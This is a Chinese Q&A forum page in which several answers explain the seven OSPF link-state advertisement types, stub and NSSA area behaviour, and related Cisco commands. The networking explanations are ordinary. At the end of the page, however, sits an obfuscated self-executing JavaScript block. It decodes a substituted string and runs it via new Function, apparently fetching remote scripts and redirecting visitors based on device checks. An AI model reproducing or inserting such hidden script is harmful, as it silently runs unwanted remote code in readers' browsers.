详细介绍下OSPF的7种LSA的类型

详细点哦!!
2025-02-27 16:21:12
推荐回答(5个)
回答1:

由于OSPF协议定义了多种路由器的类型,因而定义多种LSA通告的类型也是必要的。
例如:一台DR路由器必须通告多路访问链路和所有与这条链路相连的路由器,而其他类型的路由器将不需要通告这种类型的信息。

OSPF的七种类型LSA:
1、路由器LSA (Router LSA)
由区域内所有路由器产生,并且只能在本个区域内泛洪广播。

这些最基本的LSA通告列出了路由器所有的链路和接口,并指明了它们的状态和沿每条链路方向出站的代价。

2、网络LSA (Network LSA)
由区域内的DR或BDR路由器产生,报文包括DR和BDR连接的路由器的链路信息。

网络LSA也仅仅在产生这条网络LSA的区域内部进行泛洪。

3、网络汇总LSA (Network summary LSA)
由ABR产生,可以通知本区域内的路由器通往区域外的路由信息。

在一个区域外部但是仍然在一个OSPF自治系统内部的缺省路由也可以通过这种LSA来通告。

如果一台ABR路由器经过骨干区域从其他的ABR路由器收到多条网络汇总LSA,那么这台始发的ABR路由器将会选择这些LSA通告中代价最低的LSA,并且将这个LSA的最低代价通告给与它相连的非骨干区域。

4、ASBR汇总LSA (ASBR summary LSA)
也是由ABR产生,但是它是一条主机路由,指向ASBR路由器地址的路由。

5、自治系统外部LSA (Autonomous system external LSA)
由ASBR产生,告诉相同自治区的路由器通往外部自治区的路径。

自治系统外部LSA是惟一不和具体的区域相关联的LSA通告,将在整个自治系统中进行泛洪。

6、组成员LSA (Group membership LSA) * 目前不支持组播OSPF (MOSPF协议)

7、NSSA外部LSA (NSSA External LSA)
由ASBR产生,几乎和LSA 5通告是相同的,但NSSA外部LSA通告仅仅在始发这个NSSA外部LSA通告的非纯末梢区域内部进行泛洪。
在NSSA区域中,当有一个路由器是ASBR时,不得不产生LSA 5报文,但是NSSA中不能有LSA 5报文,所有ASBR产生LSA 7报文,发给本区域的路由器。

* 只有一个例外,每台ABR路由器上利用一个类型3来通告缺省路由。每一种区域内允许泛洪的LSA类型

区域类型 1&2 3&4 5 7
骨干区域 允许 允许 允许 不允许
非骨干(非末梢) 允许 允许 允许 不允许
末梢 允许 允许 允许 不允许
完全末梢 允许 不允许 不允许 不允许
NAAS 允许 允许 不允许 允许

* 只有一个例外,每台ABR路由器上利用一个类型3来通告缺省路由。

1 末梢区域:(Stub Area)
不允许AS外部通告(LSA 5)在其内部进行泛洪。在末梢区域边界的ABR路由器使用网络汇总LSA (LSA 3)向这个区域通告缺省路由,而且这条缺省路由不会被通告到这个区域的外部去。
Router(config-route)area 1 stub //将Area 1设置成末梢区域

2. 完全末梢区域:(Totally stub)
使用缺省路由到达OSPF自治系统外部的目的地址,而且使用缺省路由到达这个区域外部的所有目的地址,完全末梢区域的ABR路由器不仅阻塞LSA 5,也阻塞所有的汇总LSA——除了通告缺省路由的那一条类型3。
Router(config-route)#area 1 stub no-summary //将Area 1设置成完全末梢区域,此时会将类型3用默认路由代替,NO-summary的作用是将类型3、4用默认路由简化

3 非纯末梢区域(Not-so-stubby-area)
允许外部路由通告到OSPF自治系统内部,而同时保留自治系统的其余部分的末梢区域特征,ASBR将始发类型7的LSA来通告那些外部网络,这些NAAS外部LSA将在整个NAAS区域中泛洪,在ABR上被阻塞。ABR会将类型7的转化为类型5通告到其他区域中。

回答2:

我的笔记,要是这都说得不够详细直白的话...

LSA类型:
常用1 2 3 4 5 7几种
---
sh ip ospf database 看LSA列表
---
LSA1(router link state) :由任何一台OSPF的路由器生成(包括DR和BDR)。ROUTER ID不能相同,LSA1用 于生成并泛洪同区域内的路由条目即SH IP ROUTE里头的O条目,不能穿透本区域
看LSA1:sh ip ospf data router
---
LSA2(net link state):由DR生成,用于在多路访问(MA)链路标识该链路有哪些路由器(比如一个以太网广播域里一共有哪几台路由器,DR是谁,BDR是谁,DROTHER有谁)
看LSA2:sh ip ospf database network
---
LSA3(Summary net link state):由ABR生成,被后续ABR再生成,由LSA1变成LSA3,传出去,
用于泛洪域间路由,在sh ip route里看到的O IA条目即由LSA3生成,通常用于汇总路由
看LSA3:sh ip os da summary
---
LSA4(Summary ASB link state)ASBR汇总LSA:用于泛洪ASBR地址(/32)给其他所有区域,由ABR生成,被后 续ABR再生成
看LSA4:sh ip os da asbr-summary
---
LSA5(Type-5 External Link state)AS外部LSA:用于泛洪重分布的路由
由始发ASBR发布与拥有,泛洪到所有区域,包括始发区域,但无法穿透到任何stub区域
由哪个ABR转发需要选举,
看LSA5:sh ip os da external
---
LSA7(AS External Link State)NSSA外部LSA:NSSA特殊区域的ASBR生成,只在NSSA区域里存在,无法穿透ABR,由ABR出去后,变成LSA5
看LSA7:sh ip os da nssa-external
area 1 nssa translate type 7 suppress-fa
当LSA7转出去变成LSA5后,别的AREA看到此LSA5的转发地址会是外部路由器的RID IP,当该IP不可达时(被过滤等等),此LSA5就不会被放入路由表。使用此命令,使转成LSA5后转发地址=0.0.0.0,于是就能正常放入路由表,下一跳显示为NSSA的ABR的出接口IP地址
LSA7不被其他路由器其他不设置
NSSA区域的ABR同样会发布LSA4到其他AS,以使其他AS路由可达

回答3:

上面的全是百度里找来的,千篇一律,根本没可信度..下面是我自己总结出来的,通俗易懂,希望能对你有帮助......
1.ROUTER LSA ,描述区域内部与路由器直连的链路的信息.
2.NETWORK LSA, 记录了广播或是NBMA网段上所有路由的ROUTER ID.
3.NETWORK SUMMARY LSA,将所连接的区域内部的链路信息以子网的形式传播到邻区.
4.ASBR SUMMARY LSA ,描述的是一个ASBR的ROUTER ID.
5.AS EXTERNAL LSA ,描述的是AS外部的路由信息.
6.在MOSPF协议中使用的组播LSA.(不常用)
7.NSSA EXTERNAL LSA ,在NSSA区域内传播的,描述到AS外部的路由信息.
全是自己总结的,没有上面说的清楚,不过也没有上面说的复杂,我想你一定会懂的,希望能帮到你.......

回答4:

类型1的lsa:本路由器直连网段的链路状态信息,所以每个路由器都会会产生。
类型2的lsa:bdr以及drother产生的类型1的lsa都会传给dr,dr将这些lsa整合全部发送出去,来达到区域内部信息的同步的目的,dr发出去的即类型2的lsa。
类型3的lsa:在区域间仍需同步信息,此时abr会将区域内的lsa整合,再将整合后的信息传递到另一区域,此时传的即类型3的lsa。
类型4的lsa:ospf网络内的终端怎样和ospf网络外部的网络进行通信呢?我们知道路由条目有下一跳,对于ospf网络内外而言,可以看作是ospf内行外发送的必经门口,那么这个门口的相关信息用类型4的lsa描述。
类型5的lsa:接着上面的讲,那外面的世界是什么样子呢,即都有哪些目的地址呢?此时用类型5的lsa进行描述。
类型7的lsa:此类似类型5的lsa,只不过二者传递的范围不同,类型5的lsa可以在整个骨干区域和普通区域内传递,而类型7的lsa仅在nssa区域内传递。
类型6的lsa:基本上不用讨论他

回答5:

OSPF路由器的类型:
1、内部路由器--在一个普通区域内的路由器
2、核心路由器--在area 0区域内的路由器
3、ABR区域边界路由器--连接两个不同区域的路由器
4、ASBR自治系统边界路由器--连接OSPF域到另一个自治系统的路由器

<LSA(Link-State Advertisement)>

学习时的注意点:
1、传播范围
2、由谁产生
3、包含内容

•类型 指明是哪种类型的LSA
•Link-ID 每一条LSA都有一个Link-ID,区分不同路由器发出的LSA
•ADV Router 指Router-id

1 2 3 4 5 7
Link ID RID DR IP Route ASBR RID Route Route

LSA1(Router Link States)
R1#show ip ospf database router 查看LSDB中的1类LSA的详细信息
1、域内路由,仅在本区域传递,不会穿越ABR。
2、每台路由器都会产生。
3、包含本路由器的直连的邻居,以及直连网络的信息
Link ID: router ID
ADV router: router ID
三种信息:Another neighbor stub network transit network(Ma网络的一些信息)

LSA2(Net Link States)
R1#show ip ospf database network
1、仅在本区域传递
2、只有MA网络才会产生LSA2,由DR发出。
3、标识出本MA网中有哪些路由器以及本网的掩码信息。
Link ID: DR的接口IP
ADV router: DR的router ID

LSA3(Summary Net Link States)
R1#show ip ospf database summary
1、域间路由,能泛洪到整个AS。
2、由ABR发出,穿越一个ABR,其ADV Router就会变成此ABR的Router-id.
3、包含本区域中的所有路由信息,包括网络号和掩码。
Link ID: 路由route(网络号)
ADV router: ABR的router ID(经过一个ABR,就会改为这个ABR的router ID)

LSA4(Summary ASB Link States)
R1#show ip os database asbr-summary
1、把ASBR的Router-id传播到其他区域,让其他区域的路由器得知ASBR的位置。
2、由ABR产生并发出,穿越一个ABR,其ADV Router就会变成此ABR的Router-id.

Link ID: ASBR的RID
ADV router: ABR的router ID(经过一个ABR,就会改为这个ABR的router ID)

在ASBR直连的区域内,不会产生4类的LSA,因为ASBR会发出一类的LSA,其中会指明自已是ASBR
LSA5(Type-5 AS External Link States)
R1#show ip os database external
1、域外路由,不属于某个区域。
2、ASBR产生,泛洪到整个AS。不会改变ADV Router。
3、包含域外的路由
Link ID: 路由(网络号)
ADV router: ASBR的router ID (unchange)

LSA7(Type-7 AS External Link States)
R2#show ip os database nssa-external
特殊的域外路由,只存在于NSSA区域中。
Link ID: 路由(网络号)
ADV router: ASBR的router ID (只在NSSA区域中)

R2(config-if)#bandwidth 5000
R2(config-if)#ip ospf cost 30

•重分布进OSPF的路由默认为E2,Cost=20,且传递过程中不改变COST。
•如果改为E1类型,则在传输过程中会累加每个入接口的cost值
R4(config-router)#redistribute rip subnets metric 8

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();